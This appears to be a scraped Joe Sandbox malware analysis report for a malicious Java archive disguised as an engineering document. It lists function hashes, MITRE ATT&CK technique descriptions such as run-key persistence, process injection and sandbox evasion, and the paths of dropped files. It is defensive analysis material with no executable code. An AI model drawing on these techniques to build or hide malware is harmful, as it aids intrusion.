Uniqueness Score: -1.00%

Function 02346889 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9731b31914aa56378b6f69888adfe7832fd8b371257fa281d2c2d4c6a919d493
Instruction ID: b1fefae4c916b65c168eb943eb65bd62348417c09377c8b7169489acb3d7ff0a
Opcode Fuzzy Hash: 9731b31914aa56378b6f69888adfe7832fd8b371257fa281d2c2d4c6a919d493
Instruction Fuzzy Hash: D7F0CAB6D00A06ABDB05CF60C1847CAFBB4BB88B24F15421AD82863300D378B665CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 0234490A Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cd9b42e41ed2bde590316fda8883c96692b8fc2653b252a3913d9ad3f4372a5
Instruction ID: cf540d3f0cc72dc0b08a9a73c31ba5e9007938afdc2b74527e924534095c3c2f
Opcode Fuzzy Hash: 3cd9b42e41ed2bde590316fda8883c96692b8fc2653b252a3913d9ad3f4372a5
Instruction Fuzzy Hash: 1BF0CAB6D00A06ABDB05CF60C1847CAFBB4BB88724F15421AD82863300D378B665CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 0233D9B5 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a9680dd5ba534bfb53248bd734c9c8179baa7f7af364097d2ae01bf6b76f23c
Instruction ID: 8d776e9bb413daec2ceb4a7d4a299315a6f1133d929ca554fc4fc00fc9abb2ba
Opcode Fuzzy Hash: 6a9680dd5ba534bfb53248bd734c9c8179baa7f7af364097d2ae01bf6b76f23c
Instruction Fuzzy Hash: 2CF0CAB6D00A06ABDB05CF60C1947CAFBB4BB88724F15821AD82863300D378B665CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 02344549 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdb5808eb35d17c7488ce192e83fb4fe0c61c7851d0771b5c019f6ff20a10a8d
Instruction ID: c724873d0357d833bf9f2f9b7774a1e4f9ae041349b30b173c887756fc55c92f
Opcode Fuzzy Hash: cdb5808eb35d17c7488ce192e83fb4fe0c61c7851d0771b5c019f6ff20a10a8d
Instruction Fuzzy Hash: 6DF0CAB6D00A06ABDB05CF60C5947CAFBB4BB88728F15421AD82863300D778B665CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 02344E54 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75d0fc7c882ebd74c2bd4d4fa308bdae69e5c348bd6cdd54a42a3ac472512d48
Instruction ID: d04b6a703b151b90a9c3b970c732d54b30c128bd6ff4023d801551deaaf6cc4a
Opcode Fuzzy Hash: 75d0fc7c882ebd74c2bd4d4fa308bdae69e5c348bd6cdd54a42a3ac472512d48
Instruction Fuzzy Hash: FFF0C2B5D00A06ABDB04CF60C18479AF7B0BB44B18F15421AD82863300C778BA65CBC0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 023E1BD8 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305974573.00000000023D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 023D3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23d3000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9079ed84ca6fdb61657aab1d2ed5933dd58755a0df11fc3617146d1ceb389927
Instruction ID: 87f2ebf12068fa55234df450e137ab0db090e2380bac5d458ea6dd308a47025b
Opcode Fuzzy Hash: 9079ed84ca6fdb61657aab1d2ed5933dd58755a0df11fc3617146d1ceb389927
Instruction Fuzzy Hash: 51C14B72A047208FC714CF59C48061AFBF2BBC8760F5A8A5EE999A7351D770EC56CB81

Uniqueness

Uniqueness Score: -1.00%

Function 023F5C10 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305974573.00000000023D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 023D3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23d3000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d610be2146c6b7855e44960bf0ea8365c3a430ff4d6d447012a8e13b6548975
Instruction ID: c3f71aa0148457f00c72c5492d84c8b280aa33a8be73e9b3e82a31ec0b72e296
Opcode Fuzzy Hash: 7d610be2146c6b7855e44960bf0ea8365c3a430ff4d6d447012a8e13b6548975
Instruction Fuzzy Hash: 3FA17D77E029324793688A098C44119A6436FDC211BBFC7B9DD2C6F79BC9B0ED1297D8

Uniqueness

Uniqueness Score: -1.00%

Function 02446600 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305974573.00000000023D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 023D3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23d3000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48bb1f8bf9d292898746c04866c987d9cc1a38ef3bfae8b8380a40c13f9981d3
Instruction ID: d24b6469e06c20620a498eca5dc46fedbaf29b4393217a2fc88c58c5e17cb19c
Opcode Fuzzy Hash: 48bb1f8bf9d292898746c04866c987d9cc1a38ef3bfae8b8380a40c13f9981d3
Instruction Fuzzy Hash: 73916F729057108BDB14AF69C4C022EF7E2BFC9714F5A9D5EDD895B306DB70AC418B82

Uniqueness

Uniqueness Score: -1.00%

Function 023DF3FD Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305974573.00000000023D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 023D3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23d3000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cfca38a64c3ff3937ba3edcbc8bb1544487143f9c1f7a554a90dce2bed6829
Instruction ID: d80f39aca5c87c5e874190d0985c3c095158185e79a5596655d3cef11b0c67d0
Opcode Fuzzy Hash: 35cfca38a64c3ff3937ba3edcbc8bb1544487143f9c1f7a554a90dce2bed6829
Instruction Fuzzy Hash: FCF01EA240E3C18FC3039B348C366813F704E63205B2E45EBD081DF0E3E25A4A6AD322

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DWG Material, Standard BS 4360 GR. 40A43A.jar

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Oracle\Java\.oracle_jre_usage\cce3fe3b0d8d83e2.timestamp

C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\83aa4cc77f591dfc2374580bbd95f6ba_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\jar\META-INF\MANIFEST.MF

C:\jar\a.class

C:\jar\de.class

C:\jar\enc.dat

C:\jar\key.dat

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

Windows Analysis Report
DWG Material, Standard BS 4360 GR. 40A43A.jar